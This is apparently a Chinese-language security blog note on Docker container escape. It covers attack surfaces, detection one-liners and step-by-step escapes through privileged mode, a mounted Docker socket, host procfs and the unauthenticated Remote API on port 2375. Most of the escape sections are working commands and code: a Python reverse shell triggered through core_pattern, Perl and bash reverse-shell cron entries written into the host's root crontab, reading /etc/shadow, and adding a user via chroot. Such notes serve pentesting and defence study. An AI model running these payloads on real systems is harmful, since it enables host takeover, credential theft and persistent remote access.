前言
参考:
https://wiki.teamssix.com/CloudNative/Docker/docker-escape-vulnerability-summary.html
https://treasure-house.randark.site/docs/DevSecOps/Containerization/Docker/Docker-Remote-API
攻击面
活动中的容器
不受限制的资源共享:容器运行在宿主机上,容器必然要使用宿主机的各种 CPU、内存等资源,如果没有对容器进行资源使用限制,那么就存在宿主机被资源耗尽的风险。
不安全的配置与挂载:
如果为容器设定了不安全的配置,会导致容器本身的隔离机制失效,容器的两大隔离机制如下:
- Linux 命名空间(NameSpace):实现文件系统、网络、进程、主机名等方面的隔离
- Linux 控制组(cgroups):实现 CPU、内存、硬盘等方面的隔离
如果设定了以下配置就会导致相应的隔离机制失效:
--privileged:使容器内的 root 权限和宿主机上的 root 权限一致,权限隔离被打破--net=host:使容器与宿主机处于同一网络命名空间,网络隔离被打破--pid=host:使容器与宿主机处于同一进程命令空间,进程隔离被打破--volume /:/host:宿主机根目录被挂载到容器内部,文件系统隔离被打破
容器管理程序接口
Docker daemon 是 Docker 引擎的守护进程,也称为 Dockerd。它是一个长时间运行的进程,负责管理 Docker 镜像、容器、网络和存储等各种资源,并提供一个 API 以供 Docker 客户端进行交互
Docker daemon 是仅针对 Linux 的,但是在 Windows 上和 Mac 上,可以通过兼容层的方式来运行Docker daemon。Docker daemon 通过典型安装途径安装之后,应该由 systemctl 自动管理,而不需要由用户来控制 Docker daemon 的行为
Docker daemon 在同一主机上仅支持存在一个 Docker daemon 实例,在默认 systemctl 运行了 Docker daemon 的情况下,无法再手动控制 Docker daemon(dockerd)的启动参数,需要在修改后重启实例
systemctl daemon-reload
systemctl restart docker
Docker 守护进程主要监听 UNIX socket 和 TCP socket,默认情况下,Docker 只会监听 UNIX socket
UNIX socket
unix:///var/run/docker.sock:unix socket,本地客户端将通过这个来连接 Docker Daemon
UNIX socket 的风险主要在于 Docker 守护进程默认以宿主机的 root 权限运行,因此就可以借助这点进行提权或者容器逃逸
普通用户被加到 Docker 用户组内:如果普通用户被加入到 Docker 用户组内,那么普通用户也将有权限访问 Docker UNIX socket,如果攻击者获得了这个普通用户权限,就可以借助 Docker 提权到 root 用户权限 —— 使用普通用户创建一个 privileged 为 true 的容器,在该容器内挂载宿主机硬盘并写入定时任务,然后将宿主机的 root 权限反弹回来
UNIX socket 挂载到容器内部:有时为了实现容器内部管理容器,可能会将 Docker UNIX socket 挂载到容器内部,那么如果该容器被入侵,我们就可以借助这个 socket 进行容器逃逸获得宿主机 root 权限
TCP socket
Docker Remote API 是一个取代远程命令行界面(rcli)的 REST API,其默认绑定 2375 端口
Docker Remote API 常见端口:
| 端口 | 作用 |
|---|---|
| 2375 | 未加密的 docker socket, 远程 root 无密码访问主机 |
| 2376 | tls 加密套接字, 很可能这是您的 CI 服务器 4243 端口作为 https 443 端口的修改 |
| 2377 | 群集模式套接字, 适用于群集管理器, 不适用于 docker 客户端 |
| 5000 | docker 注册服务 |
| 4789/7946 | 覆盖网络 |
tcp://0.0.0.0:2375:tcp socket,表示允许任何远程客户端通过 2375 端口连接 Docker Daemon
相关配置:修改 /usr/lib/systemd/system/docker.service
# 主要是在 [Service] 这个部分,添加 -H tcp://0.0.0.0:2375 配置远程访问
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock --containerd=/run/containerd/containerd.sock
ExecReload=/bin/kill -s HUP $MAINPID
TimeoutSec=0
RestartSec=2
Restart=always
或者修改 /etc/docker/daemon.json 的配置:
{
"hosts": ["tcp://0.0.0.0:2375","unix:///var/run/docker.sock"]
}
(使用这种方式,需要去掉 /usr/lib/systemd/system/docker.service 中关于 -H 的选项,否则会报错,即只保留 ExecStart=/usr/bin/dockerd --containerd=/run/containerd/containerd.sock)
开启之后查看端口监听:ss -tunlp | grep docker
风险显而易见,2375 端口无加密无认证,可以直接用 docker -H 接管目标容器
docker -H tcp://<Server-IP>:2375 version
docker -H tcp://<Server-IP>:2375 image ls
或者 http 请求 REST API:Develop with Docker Engine API
- 容器列表, 获取所有容器的清单:
GET /containers/json - 创建新容器, 命令如下:
POST /containers/create - 监控容器, 使用容器 id 获取该容器底层信息:
GET /containers/(id)/json - 进程列表, 获取容器内进程的清单:
GET /containers/(id)/top - 容器日志, 获取容器的标准输出和错误日志:
GET /containers/(id)/logs - 导出容器, 导出容器内容:
GET /containers/(id)/export - 启动容器, 如下:
POST /containers/(id)/start - 停止容器, 命令如下:
POST /containers/(id)/stop - 重启容器, 如下:
POST /containers/(id)/restart - 终止容器:
POST /containers/(id)/kill
其他
默认情况下,容器内部的网络与宿主机是隔离的,但是每个容器之间是彼此互相连通的,理论上在容器之间是存在内网横向的
容器通常与宿主机共享内核,也就是说如果宿主机内核存在漏洞,意味着容器可能也会存在相同的漏洞。
例如如果宿主机存在脏牛漏洞,那么拿到容器权限后,使用脏牛漏洞就可以获得宿主机权限,实现容器逃逸。
软件自身漏洞:CVE-2019-14271、CVE-2019-5736 等
环境检测
集成脚本: https://github.com/teamssix/container-escape-check/blob/main/container-escape-check.sh
判断是否为容器环境:
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
不安全的配置
特权模式:
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
挂载 Docker Socket:
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
挂载 procfs:
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
挂载宿主机根目录:
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q ^1$&&echo "Root directory is not mounted."|| echo "Root directory is mounted."
Docker remote api 未授权访问:
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."
这里获取 IP 的方式倒是值得一学 hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}'
内核检测
uname -r
挂载宿主机 procfs 逃逸
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
# /var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged
安装 vim 和 gcc
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py
创建一个反弹 shell 的 python 脚本
#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
赋权,写入到目标的 proc 目录下
chmod 777 .t.py
echo -e "|/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc t.c -o t
./t
挂载 Docker Socket 逃逸
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录,其实不挂载也行
chroot /host
Privileged 特权模式容器逃逸
方法一:
查看挂载磁盘设备
fdisk -l
在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下
mkdir /test && mount /dev/sda1 /test
尝试访问宿主机 shadow 文件,可以看到正常访问
cat /test/etc/shadow
也可以在定时任务中写入反弹 shell,不过这个还是老生常谈的分系统
echo $'*/1 * * * * perl -e \'use Socket;$i="172.16.214.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root
方法二:
通过新添加的用户登录
mount /dev/sda1 /mnt
chroot /mnt adduser john
Docker 远程 API 未授权访问逃逸
此事在 CISCN 18st & CCB 2nd半决赛 亦有记载
新运行一个容器,挂载点设置为服务器的根目录挂载至 /mnt 目录下
curl http://<target>:2375/containers/json
docker -H tcp://<target>:2375 ps -a
docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
在容器内执行命令,将反弹 shell 的脚本写入到 /var/spool/cron/root
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root